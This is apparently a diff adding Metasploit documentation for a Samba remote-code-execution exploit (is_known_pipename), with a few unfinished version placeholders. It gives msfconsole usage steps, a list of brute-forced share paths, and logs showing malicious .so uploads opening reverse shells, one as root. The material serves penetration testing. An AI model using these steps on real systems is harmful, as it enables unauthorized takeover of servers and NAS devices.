|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module exploits Samba from versions 3.5.0-4.4.14, 4.5.10, and 4.6.4 by loading a malicious shared library. |
| 4 | +Samba's download archives are [here](https://download.samba.org/pub/samba/stable/). There are some requirements |
| 5 | +for this exploit to be successful: |
| 6 | + |
| 7 | +1. Valid credentials |
| 8 | +2. Writeable folder in an accessible share |
| 9 | +3. Server-side path of the writeable folder |
| 10 | + |
| 11 | +However, in some cases anonymous access with common filesystem locations can be used to automate exploitation. |
| 12 | + |
| 13 | +Verified on: |
| 14 | + |
| 15 | +1. Synology DS412+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9) |
| 16 | +2. Synology DS412+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9) |
| 17 | +3. Ubuntu 16.04 (**HDM PLEASE PUT THE Samba version here**) |
| 18 | +4. Synology **HDM PLEASE PUT THE DSM VERSION HERE** (**HDM PLEASE PUT THE Samba version here**) |
| 19 | +5. Synology DS1512+ **OJ PLEASE PUT THE DSM VERSION HERE** (**OJ PLEASE PUT THE Samba version here**) |
| 20 | + |
| 21 | +Currently not working against: |
| 22 | + |
| 23 | +1. QNAP Nas Samba 4.4.9 on armv71 |
| 24 | +2. WD NAS armv71 **@wwebb-r7 PLEASE PUT Samba VERSION HERE** |
| 25 | + |
| 26 | +## Verification Steps |
| 27 | + |
| 28 | +1. Start msfconsole |
| 29 | +2. Do: ```use exploit/linux/samba/is_known_pipename``` |
| 30 | +3. Do: ```set rhost [ip]``` |
| 31 | +4. Do: ```set target [target #]``` |
| 32 | +5. Do: ```exploit``` |
| 33 | + |
| 34 | +## Options |
| 35 | + |
| 36 | + **SMB_SHARE_NAME** |
| 37 | + |
| 38 | + The name of the SMB share containing a writeable directory. Shares are automatically scanned for, and if this |
| 39 | + variable is non-blank, it will be preferred. |
| 40 | + |
| 41 | + **SMB_SHARE_BASE** |
| 42 | + |
| 43 | + The remote filesystem path correlating with the SMB share name. This value is preferred, but other values are |
| 44 | + brute forced including: |
| 45 | + |
| 46 | +1. /volume1 |
| 47 | +2. /volume2 |
| 48 | +3. /volume3 |
| 49 | +4. /shared |
| 50 | +5. /mnt |
| 51 | +6. /mnt/usb |
| 52 | +7. /media |
| 53 | +8. /mnt/media |
| 54 | +9. /var/samba |
| 55 | +10. /tmp/home/home/shared |
| 56 | + |
| 57 | + **SMB_FOLDER** |
| 58 | + |
| 59 | + The directory to use within the writeable SMB share. Writable directories are automatically scanned for, and if this |
| 60 | + variable is non-blank, it will be preferred. |
| 61 | + |
| 62 | +## Scenarios |
| 63 | + |
| 64 | +### Synology DS412+ w/ INTEL Atom D2700 on DSM 6.1.1-15101 Update 2 |
| 65 | + |
| 66 | +``` |
| 67 | +msf exploit(is_known_pipename) > exploit |
| 68 | +
|
| 69 | +[*] Started reverse TCP handler on 1.2.3.117:4444 |
| 70 | +[*] 1.2.3.119:445 - Using location \\1.2.3.119\ESX\ for the path |
| 71 | +[*] 1.2.3.119:445 - Payload is stored in //1.2.3.119/ESX/ as eePUbtdw.so |
| 72 | +[*] 1.2.3.119:445 - Trying location /volume1/eePUbtdw.so... |
| 73 | +[-] 1.2.3.119:445 - Probe: /volume1/eePUbtdw.so: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0) |
| 74 | +[*] 1.2.3.119:445 - Trying location /volume1/ESX/eePUbtdw.so... |
| 75 | +[*] Command shell session 1 opened (1.2.3.117:4444 -> 1.2.3.119:34366) at 2017-05-24 21:12:07 -0400 |
| 76 | +
|
| 77 | +id |
| 78 | +uid=0(root) gid=0(root) groups=0(root),100(users) |
| 79 | +uname -a |
| 80 | +Linux synologyNAS 3.10.102 #15101 SMP Fri May 5 12:01:38 CST 2017 x86_64 GNU/Linux synology_cedarview_412+ |
| 81 | +``` |
| 82 | + |
| 83 | +### Ubuntu 16.04 |
| 84 | + |
| 85 | +``` |
| 86 | +msf exploit(is_known_pipename) > exploit |
| 87 | +
|
| 88 | +[*] Started reverse TCP handler on 192.168.0.3:4444 |
| 89 | +[*] 192.168.0.3:445 - Using location \\192.168.0.3\yarp\h for the path |
| 90 | +[*] 192.168.0.3:445 - Payload is stored in //192.168.0.3/yarp/h as GTithXJz.so |
| 91 | +[*] 192.168.0.3:445 - Trying location /tmp/yarp/h/GTithXJz.so... |
| 92 | +[*] Command shell session 6 opened (192.168.0.3:4444 -> 192.168.0.3:45076) at 2017-05-24 19:41:40 -0500 |
| 93 | +
|
| 94 | +id |
| 95 | +uid=65534(nobody) gid=0(root) groups=0(root),65534(nogroup) |
| 96 | +``` |
0 commit comments